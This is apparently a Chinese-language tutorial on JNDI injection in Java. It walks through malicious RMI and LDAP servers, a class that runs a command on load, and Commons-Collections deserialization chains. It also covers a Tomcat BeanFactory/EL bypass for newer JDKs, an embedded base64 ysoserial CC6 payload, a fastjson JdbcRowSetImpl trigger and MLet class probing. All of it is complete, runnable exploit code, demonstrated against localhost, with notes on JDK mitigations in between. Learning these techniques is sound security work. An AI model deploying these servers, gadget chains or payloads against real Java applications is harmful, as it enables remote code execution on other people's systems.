什么是 JNDI?
JNDI 也就是 Java 命名和目录接口的简称。也就是名字对应一个 Java 对象。在 JNDI 中支持四种服务
- LDAP:轻量目录访问协议
- CORBA 通用对象请求代理架构
- RMI。远程方法调用
- DNS
JNDI 主要提供了绑定命名和命名查找对象的方法
- bind:将一个名称绑定到对象
- lookup: 通过名称来寻找对象
主要原理
将恶意的类/Reference 绑定注册表或者目录结构中,导致受害机器 lookup 远程加载了恶意类
利用方式
JNDI 注入注意包括 RMI 注入、LDAP 协议注入、CORBA 注入
主要利用方式:
- 就是目标机器上面的 lookup 方法可控,此时可以将目标机器当作受害的客户端,搭建一个恶意的服务端,让其请求服务端。
- 目标机器上注册的 URL 可控,借此攻击目标机器的其他客户端
RMI
恶意服务端攻击
实验 jdk1.8.0_101
这里假设目标机器客户端可控。编写一个恶意的 RMI 服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ServerExp {
public static void main(String args[]) {
try {
// 服务端创建了 注册表,在服务器的 10990 端口
Registry registry = LocateRegistry.createRegistry(10990);
// 攻击者的服务器
String factoryUrl = "http://localhost:10980/";
// 绑定了恶意类,此时在攻击者服务器上面的 10980 端口部署了恶意类
Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 在注册表中注册了 Foo 名字, 此时只要客户端 lookup Foo 那么就会导致远程攻击者服务器上面的恶意类进行加载
registry.bind("Foo", wrapper);
// 到了这里我们就可知道, JNDI 的攻击利用需要客户端的 lookup 函数可控,此时我们可以直接在攻击者的服务器上面部署 rmi 服务(通过创建注册表),并且绑定恶意类名
// 或者 Reference 构造器可控
// 但是同时我们也会被 JDK 版本所限制 8u121 和 8u191 只会许多途径都被 ban 了
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
并且 javac EvilClass.java 得到的 EvilClass.class 打开 http 10980 端口处的服务
EvilClass.java:
import java.io.IOException;
public class EvilClass {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
模拟受害端
JNDILookup.java
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDILookup {
public static void main(String[] args) {
try {
// 客户端访问服务器注册的注册表
Object ret = new InitialContext().lookup("rmi://127.0.0.1:10990/Foo");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
此时一旦调用了 lookup 方法,那么就会导致加载了恶意类从而弹出计算器。
追一下源码,首先在 lookup 方法下打下断点。
跟进 lookup 方法
继续跟进 lookup 方法
可以看见,在这个 lookup 方法中,getRootURLContext 是用了获取传入的 rmi URL 的类的命名,而 getResolvedObj 方法是获得 rmi 的路径或者 IP 地址,然后调用了 ip 地址的 lookup 方法,也把命名传入
继续跟进 var3 的 lookup 方法,可以发现接下来调用的是注册表的 lookup 方法
最后返回注册上下文的 decodeObject 对象。我们跟进这个 decodeObject 方法,看看到底干了什么事情
原来是返回一个 getObjectIntance 意思也很明显了,返回一个 Referenfce 的实例对象,我们看看它是怎么实现的。跟进。然后注意到了这个通过 Reference 获取 Object 制作工厂对象的函数
跟进后发现它直接使用了 NamingManager 的 helper 加载了远程类的类对象和类
它会现先在本地查找 factoryName 进行加载,如果找不到,那么就会通过 codebase 继续加载。而 codebase 就行远程的路径
我们跟进 clas = helper.loadClass(factoryName, codebase);
最终就是 newInstance 也就是反射获取构造器,最终返回加载的,从而弹出了计算器
这种攻击方式需要满足这些条件:
- 可以控制客户端去连接我们的恶意服务端
- 客户端允许远程加载类
满足这些条件有时候还是挺苛刻的
恶意客户端攻击
既然提到了 RMI 恶意的服务端攻击客户端,那也顺带提一下客户端攻击方式吧。
我们知道客户端是对服务端进行远程方法调用,同时客户端也可以传入一定的参数,而且如果传入的是对象,那么要求可序列化,而在服务端接收到客户端传来的方法参数时,自然地也会进行反序列化处理。此时如果目标服务端中存在可构造序列化执行系统命令的依赖或组件,那么则可以造成服务端的反序列化漏洞。首先我们再来编写一个服务端。注意这里的 RMIImpl 中的 hi 方法需要接收一个 Object 对象。
public class RMIServer {
public interface RMIInterface extends Remote {
String hello() throws RemoteException;
String hi(Object name) throws RemoteException;
}
public static class RMIImpl extends UnicastRemoteObject implements RMIInterface {
protected RMIImpl() throws RemoteException {
super();
}
public String hello() throws RemoteException{
System.out.println("hello");
return "Hello, world!";
}
public String hi(Object name) throws RemoteException {
return "name";
}
}
public static void main(String[] args) throws RemoteException, MalformedURLException {
RMIImpl rmi = new RMIImpl();
LocateRegistry.createRegistry(10999);
Naming.rebind("rmi://127.0.0.1:10999/Hello", rmi);
System.out.println("Server running...");
}
}
而我们引入 cc 依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
接下来就简单用 cc-7 链编写一下客户端
public class RMIClient {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_exec);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, new ConstantTransformer(0));
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, new ConstantTransformer(0));
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
setValue(lazyMap1,"factory",chainedTransformer);
setValue(lazyMap2,"factory",chainedTransformer);
lazyMap2.remove("yy");
RMIServer.RMIInterface lookup = (RMIServer.RMIInterface) Naming.lookup("rmi://127.0.0.1:10999/Hello");
// 传递恶意构造的对象
lookup.hi(hashtable);
}
public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
成功触发
这种客户端攻击方式比较依赖于服务端的环境。
LDAP 利用
其实大致就是跟 RMI 换了一个服务罢了。
起一个 LDAP 服务需要导入 ldapsdk 的依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
LdapServer.java
恶意的服务端
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject";
int port = 12345;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
在 8000 端口起一个 Http 服务,准备好恶意的类
受害机
package org.example;
import javax.naming.InitialContext;
public class JNDILdapClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:12345/EvilObject");
}
}
运行弹出计算器
其实我们通过打断点的方式也可以发现最后也是到 NamingMangager.java 的 getObjectFactoryFromReference 方法。但是它是先从本地进行查询加载的类。没有的话就会 URL 加载
具体的调用栈:
聪明的小伙伴现在大概都知道了,不就是让远程加载类(codebase)造成的 JNDI 注入吗,不让它加载不就没有这个漏洞了。因此,在相对较高版本的 jdk 默认是不信任 codebase 的
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
- JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
- JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
高版本 Java JNDI 的利用
本地类的利用
既然不让远程加载类了,那么我们只能考虑本地上的能够利用的类。
比如说 org.apache.naming.factory.BeanFactory 类。实现了 javax.naming.spi.ObjectFactory 接口的 getObjectInstance 方法。
利用条件也只是能够控制 lookup 的 url
需要依赖 Tomcat 中的 jar 包为:catalina.jar、el-api.jar、jasper-el.jar。
添加依赖
<!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.4</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.40</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-jasper -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>9.0.40</version>
</dependency>
<dependency>
恶意服务端代码
JNDIBypassHighJava.java
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// JNDI 高版本 jdk 绕过服务端
public class JNDIBypassHighJava {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 10990");
Registry registry = LocateRegistry.createRegistry( 10990);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
受害机
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIBypassHighJavaClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:10990/Object";
Context context = new InitialContext();
context.lookup(uri);
}
}
主要原理就是通过加载 javax.el.ELProcessor 并且传入了 forceString 内容,从而调用了 el 表达式执行代码
最终执行那一串 EL 内容
弹出计算器
LDAP 反序列化利用
同时我们注意到,因为禁用了远程类加载,那么在 JNDI 注入的过程中这一步就不会得到结果
但是同时我们也注意到下面一行代码中的 deserializeObject 似乎是反序列化?跟进看看,就发现了 readObject 方法
这也就是说,只要目标机器上面存在合适的依赖,能够构成反序列化链,那么就会造成反序列化漏洞。
这里添加 Common-Collections 3.2.1 的依赖,并且用 ysoserial 生成 CC6 链的 Payload
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
恶意服务端代码
package org.example;
import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class JNDIGadgetServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#ExportObject";
int port = 12345;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
此时只要能够控制目标机器的 lookup 方法指向恶意服务器的 ladp://IP:PORT/#CLASSNAME 那么就会加载 javaSerializedData 从而弹出计算器
当然除了 lookup 也可以尝试借助 fastjson 漏洞作为入口点
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:12345/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
运行即可访问 ldap 服务器并且借助目标机器上面存在的 Gadget 完成 RCE
不过,在 jdk20 后 com.sun.jndi.ldap.object.trustSerialData
默认为 false
,这也就意味着我们只能打 LDAP+Reference Factory 的方式。
MLet
该类在 javax.management.loading.MLet ,JDK 自带。继承了 URLClassloader 。
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:8888/");
Class<?> aClass = mLet.loadClass("Calc.class");
相当于远程加载类,但必须要实例化才能执行代码
public static void main(String[] args) throws ClassNotFoundException, ServiceNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:8888/");
Class<?> aClass = mLet.loadClass("Calc.class");
Object o = aClass.getConstructor().newInstance();
}
在 8888 端口处部署了 Calc.class
由于必须实例化才有用,因此不能通过 JNDI 的 Lookup 进行 RCE。但是我们可以通过该类进行类探测。如果类在目标机器存在,那么在自己部署的 http 服务就不会收到请求信息。如果类在目标机器上不存在,那么就会收到请求信息。如:
package org.beanfactory;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.management.ServiceNotFoundException;
import javax.management.loading.MLet;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.lang.reflect.InvocationTargetException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UseMlet {
public static void main(String[] args) throws ServiceNotFoundException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, RemoteException, NamingException, AlreadyBoundException { System.out.println("[*]Evil RMI Server is Listening on port: 10990");
Registry registry = LocateRegistry.createRegistry( 10990);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = tomcatMLet();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
private static ResourceRef tomcatMLet() {
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:8888/"));
ref.add(new StringRefAddr("c", "java.rmi.registry.Registry"));
return ref;
}
}
显然 java.rmi.registry.Registry 在机器上存在,机器 Lookup 就不会收到请求。反之就会如下:
参考:
https://drun1baby.github.io/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
https://tttang.com/archive/1405/#toc_0x03-jdbc-rce